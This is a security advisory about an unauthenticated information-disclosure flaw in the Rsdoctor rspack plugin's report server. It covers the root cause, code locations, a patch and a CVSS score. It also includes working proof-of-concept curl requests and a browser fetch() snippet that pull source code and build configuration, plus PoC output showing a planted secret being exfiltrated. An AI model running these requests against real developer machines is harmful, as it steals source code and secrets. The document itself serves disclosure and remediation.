The default Rsdoctor report HTTP server started by @rsdoctor/rspack-plugin binds to all network interfaces (0.0.0.0) and serves a POST /api/data/key endpoint with no authentication and wildcard CORS (Access-Control-Allow-Origin: ). Any network-adjacent or remote attacker can send a single unauthenticated request to retrieve the full source code of all compiled JavaScript modules (moduleCodeMap), serialized build configuration (configs), error details, and other sensitive build metadata. This server is enabled by default in non-CI environments, requiring no special configuration from the victim developer.
// detailsRoot cause: server binds to all interfaces with no authentication and no key allowlist.
The vulnerability is composed of four independently observable defects that together create a complete unauthenticated information-disclosure path:
1. Server binds to 0.0.0.0 (all interfaces)
packages/utils/src/build/server.ts:107 calls server.listen(port, callback) without a host argument. Node.js defaults to 0.0.0.0, exposing the server on every network interface of the developer's machine, including LAN interfaces.
// packages/utils/src/build/server.ts:83,107
server.listen(port, () => { // no host → 0.0.0.0
resolve(res);
});2. Wildcard CORS enabled unconditionally
packages/sdk/src/sdk/server/index.ts:106 applies cors() middleware with no origin restriction, and :203–204 additionally sets Access-Control-Allow-Origin: explicitly on every API response, allowing cross-origin browser requests from any domain.
// packages/sdk/src/sdk/server/index.ts:106
this.app.use(cors());
// :203
res.setHeader('Access-Control-Allow-Origin', '*');
res.setHeader('Access-Control-Allow-Credentials', 'true');3. POST /api/data/key registered with no authentication middleware
packages/sdk/src/sdk/server/apis/data.ts:6 registers the route via @Router.post. There is no authentication guard, token check, or session validation anywhere in the middleware chain.
// packages/sdk/src/sdk/server/apis/data.ts:6,13,29
@Router.post(SDK.ServerAPI.API.LoadDataByKey)
public async loadDataByKey() {
let { key } = req.body as SDK.ServerAPI.InferRequestBodyType;
const data = await this.loadData(key);
return data;
}4. key is passed to getStoreData() without an allowlist
packages/sdk/src/sdk/server/apis/base.ts:29–39 indexes the entire SDK data store directly using the attacker-controlled key, including dot-path traversal for nested keys.
// packages/sdk/src/sdk/server/apis/base.ts:29,33,35-36
const data = this.ctx.sdk.getStoreData();
let res = data[key];
if (key.includes(sep)) {
res = key.split(sep).reduce((t, k) => t[k], data);
}
return res;Source-to-sink data flow:
| Step | Location | Description | |------|----------|-------------| | 1 | packages/rspack-plugin/src/plugin.ts:111 | Plugin bootstraps the SDK server during build | | 2 | packages/core/src/inner-plugins/utils/config.ts:98,110–115 | disableClientServer defaults to false; server starts in all non-CI builds | | 3 | packages/utils/src/build/server.ts:83,107 | HTTP server created and bound to 0.0.0.0 | | 4 | packages/sdk/src/sdk/server/index.ts:106,203 | Wildcard CORS applied unconditionally | | 5 | packages/sdk/src/sdk/server/apis/data.ts:6,13,29 | Attacker key accepted from request body | | 6 | packages/sdk/src/sdk/server/apis/base.ts:29,36,39 | key indexes sdk.getStoreData() with no allowlist | | 7 | packages/sdk/src/sdk/sdk/index.ts:487,491 | moduleCodeMap getter calls moduleGraph.toCodeData() | | 8 | packages/graph/src/graph/module-graph/graph.ts:464–469 | toCodeData() returns all module source objects | | 9 | packages/graph/src/graph/module-graph/module.ts:248–250 | Each module exposes source, transformed, and parsedSource | | 10 | packages/sdk/src/sdk/server/router.ts:119,125 | Serialized result written to HTTP response |
Default configuration ensures source code is captured:
packages/core/src/inner-plugins/utils/config.ts shows that noModuleSource, noAssetsAndModuleSource, and noCode all default to false, causing normalizeReportType to return SDK.ToDataType.Normal. This means module source code is stored in the SDK data store by default and retrievable via the moduleCodeMap key.
// original pocEnvironment setup:
# Create and enter a temporary project directory mkdir /tmp/rsdoctor-poc && cd /tmp/rsdoctor-poc pnpm init # Install the vulnerable version pnpm add -D @rspack/core@^2.0.8 @rspack/cli@^2.0.8 @rsdoctor/rspack-plugin@1.5.11 # Create a source file embedding a secret mkdir src cat > src/index.js rspack.config.js :3717/index.html
Exploit (from any host on the same LAN, no authentication):
# Primary probe: exfiltrate all module source code
curl -s "http://:/api/data/key" \
-H 'Content-Type: application/json' \
--data '{"key":"moduleCodeMap"}'
# Response: full source code of every compiled module, including secretsExpected response (excerpt):
{
"...": "...",
"source": "const INTERNAL_API_KEY = 'rsdoctor-secret-marker-123';\nconsole.log(INTERNAL_API_KEY);\n",
"...": "..."
}Secondary probe: exfiltrate build configuration and local paths:
curl -s "http://:/api/data/key" \
-H 'Content-Type: application/json' \
--data '{"key":"configs"}'
# Response: 9,278 bytes of serialized build configuration including absolute file pathsAutomated PoC (Docker-based, self-contained reproduction):
The Docker-based reproduction builds and starts the vulnerable project inside a container, then executes poc.py to confirm source code exfiltration. The PoC embeds the marker string rsdoctor-vuln-001-secret-EXFIL-abc123 in the compiled source and asserts its presence in the unauthenticated API response:
============================================================
VULN-001 PoC: Rsdoctor Unauthenticated Source Code Leak
============================================================
[*] Detected Rsdoctor server on port: 3717 (after 3s)
[*] Running PoC exploit against http://127.0.0.1:3717 ...
[*] Target URL : http://127.0.0.1:3717/api/data/key
[*] Payload : {"key": "moduleCodeMap"}
[*] Auth header : (none)
[+] HTTP status : 200
[+] Response size: 738 bytes
[+] SECRET MARKER FOUND IN RESPONSE: 'rsdoctor-vuln-001-secret-EXFIL-abc123'
[+] Context around secret:
...NEVER be able to read this content via an unauthenticated HTTP API.
const RSDOCTOR_SECRET_MARKER = "rsdoctor-vuln-001-secret-EXFIL-abc123";
console.log(RSDOCTOR_SECRET_MARKER);
module.exports = { secret: RSDOCTOR_SECRET_MARKER };
...
[PASS] VULN-001 CONFIRMED: source code exfiltrated via unauthenticated API
[+] Secondary probe (key=configs) status: 200, size: 9,278 bytesRecommended patch:
--- a/packages/utils/src/build/server.ts
+++ b/packages/utils/src/build/server.ts
-export async function createServer(port: number): Promise {
+ server.listen(port, host, () => {
resolve(res);
});--- a/packages/sdk/src/sdk/server/index.ts
+++ b/packages/sdk/src/sdk/server/index.ts
public get host(): string {
- const host = getLocalIpAddress();
- return host;
+ return '127.0.0.1';
}
- this._server = await Server.createServer(port);
+ this._server = await Server.createServer(port, this.host);
- this.app.use(cors());
- res.setHeader('Access-Control-Allow-Origin', '*');
- res.setHeader('Access-Control-Allow-Credentials', 'true');// minimal browser-based pocA malicious website can also attempt to read data from a local Rsdoctor report server by sending a browser request to 127.0.0.1 or localhost.
fetch('http://127.0.0.1:/api/data/key', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({
key: 'moduleCodeMap',
}),
})
.then((res) => res.json())
.then(console.log);If the report server is reachable over the local network, an attacker may also target the victim machine's LAN address:
fetch('http://:/api/data/key', {CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- None
- Availability
- None